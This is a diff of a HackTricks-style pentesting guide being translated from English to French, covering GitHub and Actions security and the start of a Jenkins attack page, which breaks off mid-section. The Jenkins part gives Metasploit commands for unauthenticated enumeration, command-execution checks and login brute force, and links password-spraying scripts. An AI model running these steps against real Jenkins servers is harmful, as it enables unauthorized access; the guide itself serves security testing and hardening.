You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
Vous pouvez générer des personal access token pour **donner à une application l'accès à votre compte**. Lors de la création d'un personal access token, l'**user** doit **specify** les **permissions** que le **token** aura. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
|
||||
Les Oauth applications peuvent vous demander des permissions **to access part of your github information or to impersonate you** pour effectuer certaines actions. Un exemple courant de cette fonctionnalité est le bouton **login with github** que vous pouvez trouver sur certaines plateformes.
|
||||
|
||||
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
- Vous pouvez **create** vos propres **Oauth applications** sur [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Vous pouvez voir toutes les **Oauth applications that has access to your account** sur [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Vous pouvez voir les **scopes that Oauth Apps can ask for** sur [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Vous pouvez voir l'accès tiers des applications dans une **organization** sur _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
Some **security recommendations**:
|
||||
Quelques **recommandations de sécurité** :
|
||||
|
||||
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
|
||||
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
|
||||
- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
- Une **OAuth App** devrait toujours **act as the authenticated GitHub user across all of GitHub** (par exemple, pour fournir des notifications utilisateur) et n'avoir accès qu'aux scopes spécifiés.
|
||||
- Une OAuth App peut être utilisée comme fournisseur d'identité en activant un "Login with GitHub" pour l'utilisateur authentifié.
|
||||
- **Don't** construire une **OAuth App** si vous voulez que votre application agisse sur un **single repository**. Avec le scope `repo`, les OAuth Apps peuvent **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
- **Don't** construire une OAuth App pour agir en tant qu'application pour votre **team or company**. Les OAuth Apps s'authentifient en tant que **single user**, donc si une personne crée une OAuth App pour que la société l'utilise, et qu'elle quitte la société, personne d'autre n'y aura accès.
|
||||
- **More** ici : [https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Github Applications
|
||||
|
||||
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
|
||||
Les Github applications peuvent demander des permissions pour **access your github information or impersonate you** afin d'effectuer des actions spécifiques sur des ressources spécifiques. Dans les Github Apps, vous devez spécifier les repositories auxquels l'app aura accès.
|
||||
|
||||
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
|
||||
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
- Pour installer un GitHub App, vous devez être **organisation owner or have admin permissions** dans un repository.
|
||||
- Le GitHub App devrait **connect to a personal account or an organisation**.
|
||||
- Vous pouvez créer votre propre Github application sur [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Vous pouvez voir toutes les **Github applications that has access to your account** sur [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Voici les **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Selon les permissions de l'App, elle pourra accéder à certains d'entre eux.
|
||||
- Vous pouvez voir les apps installées dans une **organization** sur _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
Some security recommendations:
|
||||
Quelques recommandations de sécurité :
|
||||
|
||||
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Make sure the GitHub App integrates with **specific repositories**.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- Don't expect the GitHub App to know and do everything a user can.
|
||||
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
|
||||
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
|
||||
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
- Un GitHub App devrait **take actions independent of a user** (sauf si l'app utilise un [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Pour sécuriser davantage les access tokens user-to-server, vous pouvez utiliser des access tokens qui expirent après 8 heures, et un refresh token qui peut être échangé contre un nouvel access token. Pour plus d'informations, voir "Refreshing user-to-server access tokens".
|
||||
- Assurez-vous que le GitHub App s'intègre avec **specific repositories**.
|
||||
- Le GitHub App devrait **connect to a personal account or an organisation**.
|
||||
- N'attendez pas du GitHub App qu'il sache et fasse tout ce qu'un user peut faire.
|
||||
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. Mais un GitHub App peut utiliser un [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) pour connecter les users _and_ faire d'autres choses.
|
||||
- Ne créez pas un GitHub App si vous souhaitez _only_ agir en tant qu'utilisateur GitHub et faire tout ce que cet utilisateur peut faire.
|
||||
- Si vous utilisez votre app avec GitHub Actions et que vous souhaitez modifier des fichiers de workflow, vous devez vous authentifier au nom de l'utilisateur avec un OAuth token qui inclut le scope `workflow`. L'utilisateur doit avoir la permission admin ou write sur le repository contenant le fichier workflow. Pour plus d'informations, voir "Understanding scopes for OAuth apps".
|
||||
- **More** ici : [https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
|
||||
Ce **n'est pas une méthode d'authentification dans github**, mais une action malveillante via GitHub Action pourrait obtenir un **unauthorised access to github** et, **depending** des **privileges** donnés à l'Action, plusieurs **different attacks** pourraient être menées. Voir ci-dessous pour plus d'informations.
|
||||
|
||||
## Git Actions
|
||||
|
||||
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
|
||||
Git actions permettent d'automatiser l'**exécution de code when an event happen**. Habituellement le code exécuté est **somehow related to the code of the repository** (par exemple construire un container docker ou vérifier que le PR ne contient pas de secrets).
|
||||
|
||||
### Configuration
|
||||
|
||||
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
|
||||
Dans _https://github.com/organizations/\<org_name>/settings/actions_ il est possible de vérifier la **configuration of the github actions** pour l'organisation.
|
||||
|
||||
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
|
||||
Il est possible d'interdire complètement l'utilisation des github actions, **allow all github actions**, ou n'autoriser que certaines actions.
|
||||
|
||||
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
|
||||
Il est aussi possible de configurer **who needs approval to run a Github Action** et les **permissions of the GITHUB_TOKEN** d'une Github Action lors de son exécution.
|
||||
|
||||
### Git Secrets
|
||||
|
||||
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
|
||||
|
||||
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
|
||||
Les Github Action ont généralement besoin de secrets pour interagir avec GitHub ou des applications tierces. Pour **éviter de les mettre en clair** dans le repo, GitHub permet de les stocker comme **Secrets**.
|
||||
|
||||
Ces secrets peuvent être configurés **pour le repo ou pour toute l'organisation**. Ensuite, pour que l'**Action puisse accéder au secret** vous devez le déclarer comme :
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
```
|
||||
|
||||
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
|
||||
#### Exemple utilisant Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
```yaml
|
||||
steps:
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Secrets **can only be accessed from the Github Actions** that have them declared.
|
||||
> Les secrets **ne peuvent être accédés que depuis les Github Actions** qui les ont déclarés.
|
||||
>
|
||||
> Une fois configurés dans le repo ou dans les organizations, **users of github ne pourront plus y accéder**, ils pourront seulement les **modifier**.
|
||||
|
||||
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
|
||||
|
||||
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
|
||||
Par conséquent, la **seule façon de voler des secrets github est d'accéder à la machine qui exécute la Github Action** (dans ce scénario vous ne pourrez accéder qu'aux secrets déclarés pour l'Action).
|
||||
|
||||
### Git Environments
|
||||
|
||||
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
|
||||
|
||||
Github permet de créer des **environments** où vous pouvez stocker des **secrets**. Ensuite, vous pouvez donner à la github action l'accès aux secrets contenus dans l'environment avec quelque chose comme :
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
Vous pouvez configurer un environnement pour qu'il soit **accessible** par **toutes les branches** (par défaut), **seulement les branches protégées** ou **spécifier** quelles branches peuvent y accéder.\
|
||||
De plus, les protections d'environnement incluent :
|
||||
- **Examinateurs requis** : bloquent les jobs ciblant l'environnement jusqu'à approbation. Activez **Prevent self-review** pour appliquer un véritable principe des quatre‑yeux sur l'approbation elle‑même.
|
||||
- **Branches et tags de déploiement** : restreindre quelles branches/tags peuvent déployer vers l'environnement. Préférez sélectionner des branches/tags spécifiques et assurez‑vous que ces branches sont protégées. Remarque : l'option "Protected branches only" s'applique aux protections classiques de branches et peut ne pas se comporter comme prévu si vous utilisez des rulesets.
|
||||
- **Temporisateur d'attente** : retarder les déploiements pendant une période configurable.
|
||||
|
||||
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
|
||||
Additionally, environment protections include:
|
||||
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
|
||||
- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
|
||||
- **Wait timer**: delay deployments for a configurable period.
|
||||
Il est également possible de définir un **nombre d'approbations requis** avant **d'exécuter** une **action** utilisant un **environment** ou **d'attendre** un certain **temps** avant d'autoriser la poursuite des déploiements.
|
||||
|
||||
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
|
||||
### Git Action Runner
|
||||
|
||||
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
|
||||
Une Github Action peut être **exécutée à l'intérieur de l'environnement github** ou peut être exécutée dans une **infrastructure tierce** configurée par l'utilisateur.
|
||||
|
||||
Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
|
||||
Plusieurs organisations autorisent l'exécution des Github Actions dans une **infrastructure tierce** car cela a tendance à être **moins cher**.
|
||||
|
||||
You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
Vous pouvez **lister les runners self-hosted** d'une organisation sur _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
|
||||
La façon de trouver quelles **Github Actions sont exécutées dans une infrastructure non‑github** est de rechercher `runs-on: self-hosted` dans le YAML de configuration de la Github Action.
|
||||
|
||||
It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
|
||||
Il **n'est pas possible d'exécuter une Github Action d'une organisation à l'intérieur d'une machine self-hosted** d'une autre organisation parce qu'**un token unique est généré pour le Runner** lors de sa configuration pour indiquer à quelle organisation il appartient.
|
||||
|
||||
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
|
||||
Si le **Github Runner personnalisé est configuré sur une machine dans AWS ou GCP** par exemple, l'Action **pourrait avoir accès à l'endpoint metadata** et **voler le token du service account** avec lequel la machine s'exécute.
|
||||
|
||||
### Git Action Compromise
|
||||
|
||||
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
|
||||
Si toutes les actions (ou une action malveillante) sont autorisées, un utilisateur pourrait utiliser une **Github Action** **malveillante** qui **compromettrait** le **container** où elle est exécutée.
|
||||
|
||||
> [!CAUTION]
|
||||
> A **malicious Github Action** run could be **abused** by the attacker to:
|
||||
> Un **run de Github Action malveillant** pourrait être **abusé** par un attaquant pour :
|
||||
>
|
||||
> - **Steal all the secrets** the Action has access to
|
||||
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
|
||||
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
|
||||
> - **Voler tous les secrets** auxquels l'Action a accès
|
||||
> - **Se déplacer latéralement** si l'Action est exécutée dans une **infrastructure tierce** où le token SA utilisé pour exécuter la machine est accessible (probablement via le service metadata)
|
||||
> - **Abuser du token** utilisé par le **workflow** pour **voler le code du repo** où l'Action est exécutée ou **même le modifier**.
|
||||
|
||||
## Branch Protections
|
||||
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
Les branch protections sont conçues pour **ne pas donner le contrôle complet d'un repository** aux utilisateurs. L'objectif est de **mettre en place plusieurs méthodes de protection avant de pouvoir écrire du code dans une branche**.
|
||||
|
||||
The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
Les **branch protections d'un repository** se trouvent sur _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
> Il **n'est pas possible de définir une branch protection au niveau de l'organisation**. Elles doivent donc toutes être déclarées sur chaque repo.
|
||||
|
||||
Different protections can be applied to a branch (like to master):
|
||||
Différentes protections peuvent être appliquées à une branche (comme master) :
|
||||
|
||||
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
|
||||
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
|
||||
- **Require signed commits**. The commits need to be signed.
|
||||
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
|
||||
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
|
||||
- **Restrict who can push to matching branches**. Restrict who can send a PR.
|
||||
- Vous pouvez **exiger une PR avant de merger** (ainsi vous ne pouvez pas fusionner du code directement dans la branche). Si ceci est sélectionné, d'autres protections peuvent être en place :
|
||||
- **Exiger un nombre d'approbations**. Il est très courant d'exiger 1 ou 2 personnes supplémentaires pour approuver votre PR afin qu'un seul utilisateur ne puisse pas merger du code directement.
|
||||
- **Annuler les approbations quand de nouveaux commits sont poussés**. Sinon, un utilisateur peut approuver du code légitime puis ajouter du code malveillant et merger.
|
||||
- **Exiger l'approbation du push revue le plus récent**. Garantit que tout nouveau commit après une approbation (y compris les pushes par d'autres collaborateurs) déclenche une nouvelle revue afin qu'un attaquant ne puisse pas pousser des modifications post‑approbation et merger.
|
||||
- **Exiger des revues des Code Owners**. Au moins 1 code owner du repo doit approuver la PR (ainsi des utilisateurs "aléatoires" ne peuvent pas approuver).
|
||||
- **Restreindre qui peut annuler les revues de pull request.** Vous pouvez spécifier des personnes ou équipes autorisées à annuler les revues.
|
||||
- **Autoriser certains acteurs à contourner les exigences de pull request.** Ces utilisateurs pourront bypasser les restrictions précédentes.
|
||||
- **Exiger que des checks de statut passent avant de merger.** Certains checks doivent réussir avant de pouvoir merger le commit (comme une GitHub App rapportant des résultats SAST). Astuce : liez les checks requis à une GitHub App spécifique ; sinon n'importe quelle app pourrait usurper le check via la Checks API, et beaucoup de bots acceptent des directives de skip (ex. "@bot-name skip").
|
||||
- **Exiger la résolution des conversations avant de merger.** Tous les commentaires sur le code doivent être résolus avant que la PR puisse être mergée.
|
||||
- **Exiger des commits signés.** Les commits doivent être signés.
|
||||
- **Exiger un historique linéaire.** Empêche les merge commits d'être poussés vers les branches correspondantes.
|
||||
- **Inclure les administrateurs.** Si cela n'est pas activé, les admins peuvent contourner les restrictions.
|
||||
- **Restreindre qui peut pusher sur les branches correspondantes.** Restreindre qui peut envoyer une PR.
|
||||
|
||||
> [!NOTE]
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
> Comme vous pouvez le voir, même si vous parvenez à obtenir les identifiants d'un utilisateur, **les repos peuvent être protégés et vous empêcher de pousser du code sur master** par exemple pour compromettre le pipeline CI/CD.
|
||||
|
||||
## Tag Protections
|
||||
|
||||
Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches:
|
||||
Les tags (comme latest, stable) sont mutables par défaut. Pour appliquer un flux à quatre‑yeux sur les mises à jour de tags, protégez les tags et chaînez les protections via les environments et les branches :
|
||||
|
||||
1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
|
||||
2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
|
||||
3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
|
||||
1) Sur la règle de protection des tags, activez **Require deployments to succeed** et exigez un déploiement réussi vers un environment protégé (ex. prod).
|
||||
2) Dans l'environnement cible, restreignez **Deployment branches and tags** à la branche de release (ex. main) et configurez éventuellement **Required reviewers** avec **Prevent self-review**.
|
||||
3) Sur la branche de release, configurez les protections de branche pour **Require a pull request**, définissez approvals ≥ 1, et activez à la fois **Dismiss approvals when new commits are pushed** et **Require approval of the most recent reviewable push**.
|
||||
|
||||
This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
|
||||
Cette chaîne empêche un seul collaborateur de retagger ou de forcer la publication de releases en modifiant le YAML du workflow, puisque les gates de déploiement sont appliqués en dehors des workflows.
|
||||
|
||||
## References
|
||||
|
||||
@@ -273,5 +268,3 @@ This chain prevents a single collaborator from retagging or force-publishing rel
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,312 +1,292 @@
|
||||
# Jenkins Security
|
||||
# Sécurité de Jenkins
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informations de base
|
||||
|
||||
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
|
||||
Jenkins est un outil qui offre une méthode simple pour établir un environnement de **continuous integration** ou **continuous delivery** (CI/CD) pour presque **n'importe quelle** combinaison de **langages de programmation** et de dépôts de code source en utilisant des pipelines. De plus, il automatise diverses tâches de développement routinières. Bien que Jenkins n'élimine pas le **besoin de créer des scripts pour des étapes individuelles**, il fournit un moyen plus rapide et plus robuste d'intégrer l'ensemble de la séquence d'outils de construction, de test et de déploiement que ce que l'on peut facilement construire manuellement.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
|
||||
## Énumération non authentifiée
|
||||
|
||||
Afin de rechercher des pages Jenkins intéressantes sans authentification comme (_/people_ ou _/asynchPeople_, cela liste les utilisateurs actuels) vous pouvez utiliser :
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
|
||||
Check if you can execute commands without needing authentication:
|
||||
|
||||
Vérifiez si vous pouvez exécuter des commandes sans avoir besoin d'authentification :
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
Sans identifiants, vous pouvez regarder à l'intérieur du chemin _**/asynchPeople/**_ ou _**/securityRealm/user/admin/search/index?q=**_ pour **noms d'utilisateur**.
|
||||
|
||||
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
|
||||
|
||||
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
|
||||
Vous pourrez peut-être obtenir la version de Jenkins à partir du chemin _**/oops**_ ou _**/error**_.
|
||||
|
||||
.png>)
|
||||
|
||||
### Known Vulnerabilities
|
||||
### Vulnérabilités Connues
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/gquere/pwn_jenkins
|
||||
{{#endref}}
|
||||
|
||||
## Login
|
||||
## Connexion
|
||||
|
||||
In the basic information you can check **all the ways to login inside Jenkins**:
|
||||
Dans les informations de base, vous pouvez vérifier **toutes les façons de se connecter à Jenkins** :
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Register
|
||||
### Inscription
|
||||
|
||||
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
|
||||
Vous pourrez trouver des instances de Jenkins qui **vous permettent de créer un compte et de vous y connecter. Aussi simple que cela.**
|
||||
|
||||
### **SSO Login**
|
||||
### **Connexion SSO**
|
||||
|
||||
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
De plus, si la **fonctionnalité**/**plugins** **SSO** étaient présents, vous devriez essayer de **vous connecter** à l'application en utilisant un compte test (c'est-à-dire, un **compte Github/Bitbucket test**). Astuce de [**ici**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
|
||||
|
||||
**Jenkins** manque de **politique de mot de passe** et de **mitigation de bruteforce des noms d'utilisateur**. Il est essentiel de **bruteforcer** les utilisateurs puisque des **mots de passe faibles** ou des **noms d'utilisateur comme mots de passe** peuvent être utilisés, même des **noms d'utilisateur inversés comme mots de passe**.
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
|
||||
### Password spraying
|
||||
|
||||
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
Utilisez [ce script python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) ou [ce script powershell](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
|
||||
### IP Whitelisting Bypass
|
||||
### Contournement de la liste blanche IP
|
||||
|
||||
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
|
||||
De nombreuses organisations combinent des **systèmes de gestion de code source (SCM) basés sur SaaS** tels que GitHub ou GitLab avec une **solution CI interne auto-hébergée** comme Jenkins ou TeamCity. Cette configuration permet aux systèmes CI de **recevoir des événements webhook des fournisseurs de contrôle de source SaaS**, principalement pour déclencher des travaux de pipeline.
|
||||
|
||||
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
|
||||
Pour ce faire, les organisations **mettent sur liste blanche** les **plages IP** des **plateformes SCM**, leur permettant d'accéder au **système CI interne** via des **webhooks**. Cependant, il est important de noter que **quiconque** peut créer un **compte** sur GitHub ou GitLab et le configurer pour **déclencher un webhook**, envoyant potentiellement des requêtes au **système CI interne**.
|
||||
|
||||
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
Vérifiez : [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
## Internal Jenkins Abuses
|
||||
## Abus internes de Jenkins
|
||||
|
||||
In these scenarios we are going to suppose you have a valid account to access Jenkins.
|
||||
Dans ces scénarios, nous allons supposer que vous avez un compte valide pour accéder à Jenkins.
|
||||
|
||||
> [!WARNING]
|
||||
